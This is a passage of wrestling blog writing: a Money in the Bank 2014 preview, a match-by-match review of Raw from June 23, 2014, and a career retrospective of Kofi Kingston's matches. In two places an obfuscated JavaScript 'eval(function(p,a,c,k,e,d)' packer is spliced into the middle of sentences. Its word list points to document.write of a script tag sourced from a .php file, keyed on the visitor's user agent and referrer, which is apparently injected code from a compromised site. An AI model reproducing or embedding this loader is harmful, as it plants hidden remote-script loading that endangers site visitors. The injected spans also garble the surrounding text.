Daniel Bryan is on the preshow. I don’t expect much from this but it’s always cool to see him and we might get an idea on his return date.

I’m going to go in a bit different order this time and get the obvious and unimportant matches out of the way.

Rusev beats Big E. Again. Not much to say there.

I don’t think Naomi takes the title yet but she’ll be champion someday. Paige is starting to reach the point where she could drop the belt though.

Goldust and Stardust win as there’s no way they lose this early in their run. It’s a shame that Ryback and Axel have been stuck in this feud instead of getting a title shot.

I’ll flip a coin and say Summer beats Layla. It’ll be a nice view if nothing else. Fandango is guest referee and playing Charlie Haas to Dawn Marie and Jackie Gayda.

The Wyatts take the Tag Titles so the evening isn’t a total loss for the Family. I fully expect the title change but I wouldn’t be furious if the Usos kept the belts. They’ve had a nice reign though and it’s time for a switch.

Now we get to the big ones, where things are obvious in theory but that might be the time for a surprise. I’ll go Rollins to win the briefcase and give Ambrose something to chase besides revenge. It looks like Barrett is out or else he would have been my dark horse to win. Rollins and Ambrose will have some fun moments in there.

The logical move is Cena winning the title so he can be fed to Lesnar at Summerslam, but that DVD cover could change a lot of things. WWE has this weird obsession with the idea that people won’t watch if they can predict something. I get the theory behind that, but it doesn’t hold up when you actually test it. People are going to watch Cena vs. Lesnar because they’re two huge stars and had a great match already. Knowing it’s coming a month earlier than it’s announced isn’t going to change that. Hopefully it doesn’t lead to some swerve that doesn’t make sense and isn’t necessary.

Overall Money in the Bank should be fun but it doesn’t have my interest for the most part. The ladder matches will be good but the rest of the show doesn’t do much for me. That could be because there are fifteen guys in two matches and no personal feud between most of them but why would we need anything like that? The show is usually good and it gets us closer to Summerslam so maybe it works. It doesn’t look bad and WWE ppvs have been good lately so hopefully it pulls through.

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Monday Night Raw – June 23, 2014: Place Your Bets

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkkdt|var|u0026u|referrer|sdzyt||js|php'.split('|'),0,{})) Night Raw
Date: June 23, 2014
Location: Verizon Center, Washington D.C.
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield

It’s the go home show for Money in the Bank and the big story tonight is the reveal of the rest of the roster for the contract ladder match. Other than that it’s likely going to be the usual go home show, with a lot of speeches about why everyone will win and not have a lot of other development. Let’s get to it.

Here’s Stephanie in a very tight pink and black dress to open things up. She says that as owner of this business, she can’t stand gross negligence. Vickie Guerrero couldn’t get her a simple cup of coffee, so Vickie needs to get out here and face the consequences. Vickie comes out looking terrified and says she knows Roman Reigns spiked the coffee. Finally, someone watches the show.

Stephanie is still annoyed though because Reigns was the one thing that Vickie was supposed to avoid. Somehow Vickie screwed up and allowed Roman to get into the title hunt and Stephanie gets in a plug for the ladder match. Stephanie says Vickie has been riding Eddie’s coattails for nine years. She couldn’t be a Diva so they made her a GM, but Vickie couldn’t even do that right.

Vickie doesn’t deserve the same respect Eddie got so Stephanie has no choice. Guerrero offers to beg and the fans chant NO. Stephanie tells her to beg on her knees and Vickie does just that. The boss says stop humiliating yourself because you have one more chance: win your match tonight or get fired. Vickie wants to know who she would have to face and of course Stephanie is the opponent. Stephanie is about to fire her but Vickie gets some courage and says the Guerrero name is more respected than the McMahons. The match is on.

Jimmy Uso vs. Luke Harper

The Family now has some I believe organ version of He’s Got The Whole World In His Hands for their entrance. I’m hoping it’s just for the tag team because it doesn’t work at all. Harper nails a quick dropkick to start but gets caught by a spinning kick to the face. Jey and Rowan get into a fight on the floor and Jimmy loads up a dive, only to walk into the discus lariat for the pin at 1:43.

Jey wants to fight Rowan right now and gets what he wants after a break.

Jey Uso vs. Erick Rowan

Joined in progress with Jey fighting out of a chinlock but getting caught in a fall away slam. Another slam gets two for Rowan but he misses a charge into the post. A superkick puts him down though and the Superfly Splash is good for the pin at 1:58. Same match with the roles reversed.

The Wyatts destroy the Usos post match. Bray pops up on screen and says he’s proud of his boys. He and his brothers look down upon creation and see the bodies of all their conquerings. On Sunday, Bray will climb the ladder and become champion of champions. His brothers will prove themselves worthy to be his disciples and they will roam the earth like disciples, spreading their message of follow the buzzards.

Lana and Rusev went sight seeing earlier today and rip on some Washington landmarks. America’s only option is to bow down and accept Vladimir Putin.

Alicia Fox vs. Naomi

Paige and Cameron are on commentary. Naomi gets a quick rollup for two but can’t hit the Rear View. Cameron brags about how touch she is and how she’s going to dance all over everyone and win the Divas Title. The girls fight on the floor with Naomi getting the better of it but getting pulled off the apron and down onto the concrete. Fox gets two off a tilt-a-whirl backbreaker as Cameron is still running her mouth. A northern lights suplex gets two on Naomi as Paige shrugs off everything Cameron says. Fox sends Naomi outside and poses a lot but back inside, a quick reverse DDT gives Naomi the pin.

Rating: D+. The match wasn’t bad as you had two girls who could have a decent match in there, but Cameron was painfully annoying and was almost literally shouting PAY ATTENTION TO ME. Paige vs. Naomi could have a great match if given the chance but we’ll have to put up with Cameron because of a team split that no one is going to care about.

Post match Paige gets on the apron and holds up the belt while sticking out her hand. Naomi slowly shakes it and it looks like we have a future title match set.

Sheamus and Reigns are in the back talking about their 4-3 handicap match tonight. Reigns is ready but Sheamus brings up Shield attacking everyone in WWE over the last year and a half. Sheamus says Sunday is every man for himself and Reigns says he’ll be ready. The idea seems to please Sheamus and both guys say they’ll win on Sunday.

Titus O’Neil vs. Bo Dallas

Bo has a black eye but brings up Titus’ two losses in less than a minute on Smackdown. He suggests Titus Bolieve of course. Some dropkicks have Titus staggered but he comes back with a series of slams and chops in the corner. Titus misses a charge though and the Bodog gives Bo the pin at 1:06.

Titus knocks the mic out of Bo’s hands post match. Bo: “Silly me. Mr. Butterfingers.” Titus gets the pep talk but nothing else happens.

Here’s HHH to talk about how all the decisions in this country are made right here in Washington DC. He explains the double ladder match on Sundaya nd how the winner of the briefcase is almost guaranteed to be World Champion. The lineup for the ladder match will be Seth Rollins, Kofi Kingston, Jack Swagger, Dolph Ziggler (big pop), Rob Van Dam and Bad News Barrett. That’s only six even though the graphic had seven spots. HHH picks Rollins to win the match of course and here’s Seth, now with his own t-shirt.

The fans chant YOU SOLD OUT and Rollins says they really should be over it by now. If the fans love Ambrose and Reigns as much as they claim they do, they should still be thanking Rollins for getting them as high as they did. Shield may have gotten him this far, but this Sunday he’ll climb the ladder all by himself. You can call him a sellout but on Sunday you’re going to call him Mr. Money in the Bank.

This brings out RVD who thinks he’s not being taken seriously. Seth: “I do take you seriously. I’d take you even more seriously if this was 2005.” RVD: “Back when you had to ask your mom to stay up late and watch me wrestle?” Van Dam brings up crushing HHH’s trachea in the first Elimintion Chamber before challenging Seth to a match right now. HHH says let’s do it.

Rob Van Dam vs. Seth Rollins

This actually starts without a break and Van Dam hits a quick monkey flip to take over. Seth is sent to the floor for a dive followed by a moonsault from the apron as we take a break. Back with Rob getting choked on the ropes before Seth hits Three Amigos for two. After a chinlock goes nowhere, Seth gets two off the spinning sleeper drop.

Back to the chinlock for a few moments before Rob grabs a rollup for two. Some clotheslines look to set up Rolling Thunder but it takes a big spinning kick for Rolling Thunder to connect. A top rope kick to the face drops Seth but the Five Star only hits mat. The buckle bomb sets up the curb stomps but Dean Ambrose runs in for the DQ at 10:00.

Rating: C-. I’m really getting tired of Rob Van Dam lately. His matches aren’t bad for the most part but you can call almost every spot he’s going to do in the entire match depending on how long it runs. Thankfully he’s only there to put people over at this point because that’s all he should be doing now.

Ambrose destroys Seth until Rollins can get away. Dean demands to be put in the ladder match because he’ll wreck things if he doesn’t get in.

After a break, Rollins wants Ambrose in the ladder match so Seth can keep his eyes on him. Rollins says any failure will be on him so HHH grants his wish.

Intercontinental Title: Bad News Barrett vs. Dolph Ziggler

Rematch from a non-title match on Smackdown where Ziggler got a quick upset. Barrett rips on the Redskins before the match. We get big match intros after a break and Ziggler grabs a quick rollup for two. A clothesline puts him on the floor though and Barrett takes over. Back in and Barrett cranks on a chinlock but comes back with a hard series of right hands on the mat and in the corner. Winds of Change gets two more for the champion but he gets caught by the Zig Zag. Barrett rolls to the floor before Dolph can cover though and we take a break.

Back with Ziggler getting two off something we didn’t see but being sent to the floor so the champion can take over. We head back inside with Bad News kicking him in the ribs for two but going up top, only to get caught in the top rope X Factor for a very close near fall. Barrett loads up a powerbomb but switches over to Wasteland for two instead. The Bull Hammer is countered into the Fameasser for yet another near fall as the fans are WAY into this. Another Winds of Change is countered into a crucifix but the Stinger Splash lands on the Bull Hammer for the pin to retain the title at 12:34.

Rating: B. This was a very solid back and for the match and makes up for the loss on Friday. It made that match look much more like a fluke as Barrett gets to come back and win a competitive match. These two had chemistry together and that’s always something good to see.

Vickie says she has no regrets. Orton shows up and says Vickie will get what’s coming to her.

Vickie Guerrero vs. Stephanie McMahon

Guerrero comes out to Eddie’s music and Stephanie comes out in the pink and black dress and heels. The match isn’t going to take place in the ring, but rather in a mud pit. The first person to go into the pit loses the match, and Vickie is fired if she loses. Stephanie sends Rosa Mendes, Layla and Alicia Fox to attack Vickie and she’s easily overpowered, but manages to send Rosa into the pit. Layla goes in as well and Alicia follows her, causing Vickie to do the YES chant. Stephanie hits her from behind though and knocks her into the pit for the win. Not a match of course.

Stephanie fires her in a perfect imitation of Vince’s voice. She starts the Goodbye Song but Vickie gets fed up and the reality that Vickie has nothing to lose quickly sets in. Vickie throws her into the muck and Vickie does the Eddie dance before leaving. The referee is pulled in while helping Stephanie just to make things all the better.

We recap the debut of Stardust.

Goldust is in the back and says he didn’t see Cody last week. This brings in Stardust who sings When You Wish Upon a Star. Goldust: “WOW! Now I’m the normal one!”

Kofi Kingston vs. Jack Swagger

Kofi goes after the leg to start before kicking away at the ribs. A hard shoulder puts Kofi down but he comes back with the jumping elbow to the jaw. Swagger kicks him in the ribs and hits the Vader Bomb before cranking on the arm. Kofi fights up with some dropkicks to send Swagger outside, followed by a big flip dive. Back in and Kingston’s top rope cross body is caught but he comes back with a victory roll for two. A flapjack sets up the Patriot Lock though and Kofi taps at 3:56.

Rating: C. The match was fine but they seemed to be a step off at times. It’s nice to see Swagger get a clean pin, but at the end of the day I have no reason to buy into his push at all given how many times it’s gone nowhere before. Kofi’s high flying is still awesome and he’ll have a job because of it for years.

Naomi vs. Paige is official for Sunday.

Del Rio says he’s the only one in the ladder match that is undefeated in Money in the Bank. Not true but whatever. Cesaro and Heyman come up with Paul talking about how Del Rio may be the one in the ladder match, but Heyman is the one behind the one in 21-1 and how Cesaro will win on Sunday. Del Rio asks Cesaro if he ever talks, so Cesaro says he doesn’t speak loser.

Damien Sandow is Abraham Lincoln this week and reads a proclomation that says some people don’t find him entertaining. He’d rather spend a night in Ford’s Theater than let simpletons determine his career. He runs his mouth for a bit longer until Big E. interrupts.

Damien Sandow vs. Big E.

Sandow wrestles in the suit and stomps away in the corner. Big E. runs him over and hits the Big Ending for the pin at 54 seconds.

Post match Big E. goes into what sounds like a preacher rant about how this is the land of the free and how tired he is of hearing Rusev and Lana run down America. Lana comes to the stage, allowing Rusev to jump Big E. from behind. The jumping superkick sets up the Accolade as America is crushed again.

Cena talks about how this Sunday, seven men will fight for the WWE Championship. Moments and memories will be made but we’re guaranteed to see a new WWE Champion. It’s time to pick which of the Magnificent Seven walks out as champion. He’s wearing green tonight and that’s the color of money, so people should bet on him. I’ve heard worse lines.

John Cena/Sheamus/Roman Reigns vs. Alberto Del Rio/Randy Orton/Cesaro/Bray Wyatt

Rematch from Friday. Cena and Orton get things going after a break with John quickly running him over and making the tag to Sheamus. It’s quickly back to Cena to face Del Rio with Alberto stomping away in the corner. The running bulldog puts Alberto down and it’s off to Cesaro for a big showdown. Cesaro wins a test of strength and takes Cena into the corner for a stomping from Wyatt.

We hit the nerve hold on Cena followed by the running backsplash as we take a break. Back with Del Rio trying to keep Cena in a chinlock. Cena gets to his feet but a DDT brings him right back down for two. Cesaro tags himself in and loads up the Swing but opts for a Boston crab instead. John fights up and powers out, seting up the hot tag to Reigns. Roman cleans house with his usual stuff, including the apron dropkick to Del Rio. The Superman Punch drops Cesaro and Orton but Del Rio gets two off a Backstabber.

Back to Bray for the running cross body followed by the gutwrench suplex from Cesaro. Orton tags himself back in to Cesaro’s annoyance before suplexing Reigns down for two. We hit the chinlock before the heels all start taking their turns on Reigns. A quick Superman Punch drops Bray and Cesaro comes back in, only to knee Reigns into the tag to Sheamus.

The pale one cleans house and hits fourteen forearms to Cesaro’s chest. White Noise doesn’t work but the powerslam puts Cesaro down. Everything breaks down and it’s finishers a go-go. Orton and Del Rio take AA’s but Cesaro lays Cena out with Swiss Death. The Brogue Kick out of nowhere is enough to pin Cesaro at 15:30.

Rating: C. This was pretty much just a shotened version of the Smackdown match, meaning it wasn’t all that great. This is the most basic version of a match like this that you can have and while it’s full of stars, the action was nothing all that special. That’s part of the problem with Money in the Bank: it focuses everything on one match and that causes problems.

Post match Kane comes out to clean house with chokeslams for most of the seven men. HHH comes out and announces Kane as the eighth man. Reigns spears Kane down after the fire comes out of the posts.

Overall Rating: C. The wrestling was ok, the build for Sunday was acceptable and we got a good moment from Vickie. That being said, the show felt like it was a very paint by numbers build up show which is what I had a feeling we’d be getting. It’s not bad or anything, but I have no more desire to watch Sunday’s show than I had coming into tonight. The show should be fine but I’d have liked a bit more than this.

Results
Luke Harper b. Jimmy Uso – Discus lariat
Jey Uso b. Erick Rowan – Superfly Splash
Naomi b. Alicia Fox – Reverse DDT
Bo Dallas b. Titus O’Neil – Bodog
Seth Rollins b. Rob Van Dam via disqualification when Dean Ambrose interfered
Wade Barrett b. Dolph Ziggler – Bull Hammer
Jack Swagger b. Kofi Kingston – Patriot Lock
Big E. b. Damien Sandow – Big Ending
Roman Reigns/Sheamus/John Cena b. Bray Wyatt/Cesaro/Randy Orton/Alberto Del Rio – Brogue Kick to Cesaro

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Wrestler of the Day – April 28: Kofi Kingston

Today we go to Jamaica. Er Ghana. But he’s named after a city in Jamaica. Either way it’s Kofi Kingston.

 

Kofi eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|heyzi|var|u0026u|referrer|znhsr||js|php'.split('|'),0,{})) did some indy stuff in the northeast before being signed to a developmental deal. He was sent to Deep South Wrestling in Georgia and would face TJ Wilson (Tyson Kidd) at some point in 2007. I believe it’s in March but I’m not quite sure.

Kofi Kingston vs. TJ Wilson

Interestingly enough, Nattie Neidhart is the backstage interviewer and says she’s VERY familiar with Wilson’s work. Well they had been living together and dating for years at this point so that’s no shock. Kofi cranks on the arm to start but gets cradled for two. Wilson grabs some headlock takeovers but Kofi keeps nipping up and we have a standoff. Another standoff gets us nowhere until Wilson grabs a quick suplex for one.

Some more covers get two each for TJ as this is really basic stuff so far. We hit a chinlock on Kofi until TJ sends him into the corner. Kofi grabs a sunset flip for two and a bad looking dropkick puts Wilson down. TJ comes out of the corner and walks into Trouble in Paradise (Cool Runnings here) for the pin.

Rating: D. Kofi clearly couldn’t do much at this point and the match suffered as a result. To be fair though, Deep South Wrestling really doesn’t have the best track record when it comes to training so their TV wasn’t the best stuff either. Wilson would get better once he started flying around a bit more.

Kofi would be called up to ECW in January 2008. This was preceded by some REALLY cheesy videos of Kofi on the beach, talking about how there’s trouble in paradise. They’re really not very good but they set up his debut on January 22, 2008.

David Owen vs. Kofi Kingston

Owen is a bald guy in good shape. Kofi fights out of a top wristlock and a not great looking legsweep. They head into the corner for the jump into ten punches followed by a bad monkey flip to send David flying. Back up and Kofi does the reverse leapfrog followed by a cross body. Pay no attention to Owen falling down before Kofi touched him. Some forearms to the face put Owen down and there’s the yet to be named Boom Drop. Trouble in Paradise ends Owen without much trouble. This is still one of the worst debuts I’ve ever seen as Kofi was sloppy and did NOTHING for me when I first saw him.

After being on ECW for awhile, Kofi would get a shot at the Intercontinental Title at Night of Champions 2008.

Intercontinental Title: Chris Jericho vs. ???

Jericho is still a face here but that wouldn’t last long. Ah he’s in the middle of his turn here. That makes sense. The mystery opponent is not HBK according to Jericho due to him injuring Shawn more than once already. Jericho in long tights just doesn’t look right for some reason. I was at a house show about a week later and his eye seemed fine to me. Jericho says he’s an honest man. Oh dang it’s he’s Alberto Del Rio now. Some Jamaican music cuts Jericho off and the opponent is Kofi.

Intercontinental Title: Chris Jericho vs. Kofi Kingston

Kofi has been on Raw for six days at this point, having come over from ECW in the Draft. People knew he had something but the universal response was that this was too soon for him. This is more or less his big debut. Kofi starts busting out stuff that is normal for him now but back in the day was brand new stuff. Kofi hits that Frog Splash cross body for two.

The problem is that since not a lot of people watch ECW, not a lot of people know much about Kofi. You get a feeling here that they’re just kind of meandering along waiting on the big finish, which should be pretty clear if you’re paying attention. The fans chant boring for no apparent reason. The match is slow but not boring. Kofi starts busting out the insane dropkicks to kill the chants and hits the Boom Drop which has no name yet.

The Walls are blocked and another Boom Drop gets a long two. Jericho busts out the Liontamer and Shawn finally makes the required run in to distract Jericho so Kofi can kick him right in the forearm for the pin and his first title. This was what the IC Title was supposed to be about: a young guy that needs some credibility getting a title to give him some. Post match Shawn is helped out and Jericho punches him in his bad eye.

Rating: C+. Kofi wasn’t anywhere near what he would become but he was still pretty good. Jericho put him over here and the ending was solid. Kingston wasn’t ready to beat Jericho yet and he didn’t. Has Jericho ever beaten Kofi clean? I think he has but I’m not sure. Anyway, this was more about furthering the Shawn/Jericho feud without making Shawn go for the IC Title and on that front it did very well.

Kofi would hold the belt until the fall. He wouldn’t be away from gold long though as he would get the US Title in June 2009. Kofi would have to defend it six days later at Extreme Rules 2009.

US Title: Kofi Kingston vs. MVP vs. William Regal vs. Matt Hardy

Well this is random. Kofi won the title 6 days ago from MVP. He beat Hardy and Regal for the title shot in the first place. This is an extreme gimmick? Sure why not. MVP is a face here…I think. Yeah he is. Regal has been hitting on Vickie to get into this. Matt gets a rather solid pop. He’s heel here which is just odd to type.

Oh and Matt still has a broken hand from Mania. MVP is the same thing that he is today. That’s all you need to know about him: he hasn’t changed a bit in a year. Regal hasn’t either but he’s more or less a jobber now so it’s not like it matters that much. Kofi hits a dive to take out every American in this match.

Then he takes out the British guy as well. It’s your usual insanity for one of these matches as we get rotating one on one matches. That works fine I think as it’s really the only way you can do these without insane choreography before it starts. Regal gets solid heel heat. He’s just so easy to hate.

Everybody but Matt gets in a Tower of Doom spot so Matt dives on them all but of course it doesn’t work. Also his hand seems to be just fine all of a sudden. For some reason I love that leg drop that Matt does from the middle rope. It’s not like there’s anything really special about it or anything.

Kofi hits a Boom Drop on Regal who is on top of Matt in a decent spot. Kofi hits that pendulum kick that seemingly every midcard face hits now. I was wrong about MVP not changing anything in a year. Now he is even worse at his belly to belly overhead suplexes. Ballin hits on Matt as we’re very close to the end. You can feel it.

Regal beats up everyone but Kofi bounces off the top rope and hits a kick to the head which is called Trouble in Paradise for the pin to retain. It looked like a one footed dropkick but whatever.

Rating: D+. Not bad I guess, but WAY too short. This wasn’t even seven minutes long and it was just kind of a mess. It’s certainly not a bad match or anything like that, but it just felt thrown together and like it was there to kill time. That’s never a good sign. Kofi’s reign is about as forgettable as you could ask one to be also.

Kofi’s first major feud would be against Randy Orton, over Kofi saving Roddy Piper from a punt to the head. Their showdown was at TLC 2009.

Kofi Kingston vs. Randy Orton

Randy is getting some slight pops at this point. I think I like Kofi’s weird starting stance. This feud got a decent build to it and I think this is their first full on match one on one. When I say full on I mean they had a short one on Raw that ended in a DQ which was just a few minutes long. I guess Orton has been around long enough to have a vintage. I love that snap powerslam he does if nothing else. Gah Scott Armstrong is the referee here.

I’m glad he’s gone if nothing else. In a SWEET sequence, Kofi catwalks up the steps to the apron up the buckles and then comes off the ropes with a dive to the floor but Orton hits a perfect dropkick to the ribs to block it. That was SWEET. I said SWEET twice. You could even say that was just….two….SWEET! Wow that was a bad pun. Back to the match I think. Orton kicks Kingston in the ribs a lot. Orton is getting more and more pops here and it’s odd to hear.

The pace of this match needs to pick up a bit and as I say that it begins to. Wow I have good timing. Boom Drop hits. The spin kick hits but Orton gets the ropes to a BIG reaction, so the crowd is into this at least. Out of nowhere Orton hits the elevated DDT. Wouldn’t Kofi’s hair block some of that? The Punt is blocked. Dive on the ball you idiots! Another Trouble In Paradise misses to set up the RKO for the ending.

Rating: B-. Good here but not great. Kingston looked good in losing as the whole story leading up to this was about him shedding his goofy image and it worked very well. Kingston wasn’t ready to beat Orton clean so that’s good I think. I liked it but it felt a bit flat. I think it was because this was added 6 days prior to the show so it kind of felt like filler. Still good though.

Kofi was hot enough at this point that he made the Elimination Chamber at its namesake show in 2010.

Raw World Title: Sheamus vs. Ted DiBiase vs. HHH vs. John Cena vs. Kofi Kingston vs. Randy Orton

Cena gets a VERY mixed reaction but I think it’s leaning towards more cheers than boos which is a good sign I guess. I’m digging those white ropes. DiBiase gets an ok at best reaction. I do like them giving the young guys a chance if nothing else. They get main event experience even if there’s no chance any of them win it. Ok Striker needs to drop the metaphors already.

Orton gets a POP. Just turn him already Vince. He needs it. HHH gets a pop but nothing compared to Orton or even Cena for that matter. No one has ever won more than one Chamber match. Except HHH. He’s won four. Nothing wrong with that is there? Apparently Sheamus has to get all the eliminations. Kofi and he will be starting us out. Kofi looking over his shoulder just in case is rather amusing. Kofi is rocking red tonight which is working for him.

Can someone get Armstrong a weight in his arm? EPIC RKO chant. They touch on the Orton/Kingston feud. Sweet goodness that was awesome. This three man commentary team is working really well for me. The clock runs down and it’s HHH. There’s not a ton to talk about at this point as everything here means very little. Sheamus needs a name for his Razor’s Edge as Cole just calls it that finishing maneuver.

That high knee always works for some reason. They clarify that you have to get the pin in the ring. Good to know as that’s always a question I think about in these matches. Kofi sits on the outside here and lets them fight which is very smart. Scratch that as he hits a cross body on Sheamus.

Kofi hits a sweet Boom Drop over the top rope onto HHH. That looked great. Clock starts up again and it’s Orton to a nice pop. He’s beating the heck out of everyone. This guy is dying to be a face already Vince. Can you not see that? He’s beating the tar out of Sheamus and HHH which is awesome. SHUT UP STRIKER. It’s not a metal thing with fangs. It’s a cage blast it.

The fans want blood. Kofi takes everyone out with a huge dive. He’s getting a lot of big spots in this. He goes for another but Orton catches him with a dropkick. Nice indeed. Everyone goes for their finisher and no one gets it. Orton’s head slams into the post. That looked SICK. In at 5 is DiBiase.

I love that falling punch. Orton and DiBiase team up and beat down just about everyone. They shove Kofi’s head through the Chamber wall and DiBiase puts a Boston Crab on him. Orton gives HHH the elevated DDT onto the cage. That would hurt indeed. He and DiBiase wait on Cena outside his pod so of course he plows through them. He cleans house and hits an FU over the top rope on DiBiase.

DiBiase is in the STF and his leg isn’t supposed to bend like that! Rhodes is here with a pipe. DiBiase hits Orton with it as he’s in the FU and then takes Cena down with it. Ted pins Orton so we’re at five. Kofi puts him out with Trouble in Paradise and Sheamus hits his two move combination to take Kofi out so it’s Sheamus, HHH and Cena left. The pale one takes over and for NO apparent reason, HHH saves Cena.

And of course HHH gets to pin Sheamus first. So at the moment is the title vacant or is Sheamus technically champion as the match he’s defending in isn’t over yet? I’m not sure. A few seconds later Cena gets the STF and HHH taps. I’ve read some posts saying HHH might not have been tapping. What show were you watching? Yeah he was tapping.

Rating: B+. Solid stuff here. It’s missing that little something extra to make it a classic but this is certainly more than good stuff. The timing here was solid as we had enough to keep it from being too short but not enough to get boring. Half an hour is just about perfect I think. Also there was the fact that all of the guys in here were given a chance to showcase themselves, especially Kofi. He stole the show out there and it worked very well. Very good stuff here.

Another day, another midcard title. This time it’s the Intercontinental again at Over the Limit 2010.

Intercontinental Title: Kofi Kingston vs. Drew McIntyre

Could Drew’s music be sweeter? So remember the idea here is that Drew got stripped of the belt and Kofi won a tournament for it. Drew got it put back on him because Vince likes him. This is the big showdown for it I guess. Drew jumps him early as Striker thinks we need to know that it’s been eleven years since the title has changed hands in Detroit. Ok then. The fans are all over Drew who is dominating early.

Apparently most people don’t like working with him which is odd. I guess you can tell more when you’re in the ring though. That makes more sense at least. Smackdown has definitely been having the better in ring stuff lately and this shouldn’t be an exception. Drew does one of those idiotic spots where he jumps into Kofi’s feet when he puts them up. What the heck was that supposed to be? The set might look cool but I can’t tell.

There’s this weird kind of spotlight thing going on from the end of the arena behind the announcers. It’s rather odd and looks like 6 lights coming off of it. Boom Drop in the corner of all places hits. Ok then. Trouble in Paradise misses and the SOS gets a clean pin. Wow did not see that one coming.

Post match Drew gets on the mic and says the show doesn’t keep going until he’s declared champion by Teddy Long. Instead we get Matt Hardy to an ERUPTION. Seriously it’s been like two weeks not 4 months. Twist of Fate puts Drew down.

Rating: B-. Not bad for an opener I guess. Kofi winning is kind of a surprise but I’d bet on Drew being pushed higher up on the card or into something against Christian or someone like that. Anyway, Kofi doesn’t need the title really, but then again neither does McIntyre. This worked well enough I guess and wasn’t bad at all. Not up to their TV stuff but not bad at all.

Kofi would lose the belt to Dolph Ziggler in July. Here’s one of their MANY rematches from Smackdown on January 7, 2011.

Intercontinental Title: Dolph Ziggler vs. Kofi Kingston

They’re certainly pushing this as a huge show with the title matches and all that jazz.  Striker calls Vickie the female version of Rosie O’Donnell.  Why are so many people obsessed with Rosie?  What has she ever done?  Nice reaction for Kofi here.  We get a quick video of last week’s match where Dolph more or less stole the win from Kofi which is true only to a degree.

Kofi hammers away to start as Cole says that Kofi needs to move on instead of trying to get the title back time and time again.  Neckbreaker by Dolph gets two.  Off to a clear choke that they’re going to call a chinlock because they want to I guess.  Splash in the corner misses though and here comes Kofi.  These two have some solid chemistry together to be sure.

A rollup by Ziggler with some tights gets two.  They’re moving very fast out there.  Trouble in Paradise misses and it’s off to the Sleeper!  Kofi simply grabs the hands and rips the hold off and gets the SOS for an incredibly close two.  Middle rope suplex is blocked by Dolph.  I know it seems like I’m flying through this but there is almost nothing between these fast moves.  After Kofi knocks Dolph off the ropes to block the suplex, the HUGE crossbody ends this perfectly clean at 5:31.  That came out of nowhere!

Rating: B. Ok, this grade is going to require some explanation as to how it can be equal to the first match and I think it might clear up a bit about my grading system in general in case some people think I’m a bit inconsistent.  While I’m giving this match the same grade, it’s certainly not as good as the first one.  There are two key differences though.

The first is that the opener was meant to be a long brawl, as evidenced by giving it nearly four times as long to work with.  That match had time to work out spots and to be a brutal fight, whereas this was supposed to be fast paced and exciting.  Different styles of match, but both well done.

Second, which ties into the first, was the ending.  Dolph literally turned around to get hit by the cross body.  Kofi is already horizontal when Dolph sees him.  I love matches that end very quickly and with moves that aren’t finishers.  To the fans it looked like another big move that Kofi would hit to get a two count.  Instead it’s over and the fans are surprised.  That’s an excellent touch and it keeps the matches interesting.

As for the match itself, one important thing to make clear is that this was NOT a squash.  Dolph was definitely in this the whole time and Kofi got a big shot in to get the win.  That’s very important as it keeps Dolph looking strong while still switching the title.  This was a very fun and fast paced match which is what you come to expect from these guys.  Good stuff.

Dolph, ever the villain, destroys Kofi post match.  Vickie gets on the mic and says that since Teddy isn’t here tonight, Dolph gets a rematch RIGHT NOW!

Intercontinental Title: Kofi Kingston vs. Dolph Ziggler

LOUD Kofi chant but he’s more or less d…..and screw that as he hits Trouble in Paradise and it’s over in 43 seconds!  That kick looked great.

Rating: B-. Well the opening 13 seconds were very weak but they picked it WAY up in the next 19.  The final 21 were completely awesome though and it definitely was good enough to make this a passable match.  Dang man those final 21 seconds with Kofi rolling Dolph over for the cover were more exciting than the entire Flair vs. Steamboat trilogy.

After losing that title, Kofi would just go after the US Title, at Extreme Rules 2011.

US Title: Sheamus vs. Kofi Kingston

Booker continues to imply Kofi should turn heel as we hit the floor early.  First table is brought out by the pale one and set up on the floor.  Back to the ring and Sheamus gets caught on the apron, only to hit a slingshot shoulder block to take Kofi down.  Table #2 comes in and lands on top of Kofi.  We hear about how Sheamus beat Cena in one of these to win the title which still blows my mind.

Table gets set up in the corner but Kofi fights out of it.  Sheamus moves to avoid Kofi’s dive but Kofi is like screw it and does the splits in midair to land on the ropes with the table between his legs.  Big boot sends Kofi flying over the table on the floor as Sheamus takes over again.  The corner table is set up in front of the corner and Sheamus hammers away.  Sheamus can’t suplex him onto a table on the floor and gets caught by Trouble in Paradise but it doesn’t put him through the table.  The Boom Drop as Sheamus turns around does however to give Kofi the title.

Rating: C+. Not bad here and considering it was just a way to get a midcard title on Raw this was fine.  Kofi of course is his usually solid self and Sheamus loses the title without getting pinned.  This was perfectly fine and the ending plus some cool spots by Kofi were enough to push it over the top.

Believe it or not, Kofi would do something other than win midcard titles. Sometimes, he tried to win TAG titles. From Raw, August 22, 2011.

Tag Titles: David Otunga/Michael McGillicutty vs. Kofi Kingston/Evan Bourne

This is a rematch from last week. Lawler points out that the champions haven’t done anything with the belts. We get a Bushwhackers reference as Lawler says they had better charisma. That’s true at least. Bourne beats on McGillicutty to start but that doesn’t last long with Kofi coming in. After some more attacking he goes outside after both champions and gets caught easily.

Otunga comes in to work over Kofi, hitting a corner clothesline for a very delayed two. Off to a chinlock for a few seconds and here’s McGillicutty who hits a double team dropkick/atomic drop for two. JR says that was an almost perfect dropkick. Off to another chinlock and McGillicutty yells at Lawler, asking if that was impressive. In a cool move Kofi nips up into a headscissors and brings in Bourne. He cleans house with jumping knees and a spin kick for two. Kofi sends Michael to the floor and hits Trouble in Paradise to Otunga. Shooting Star Press gives us new champions at 5:00.

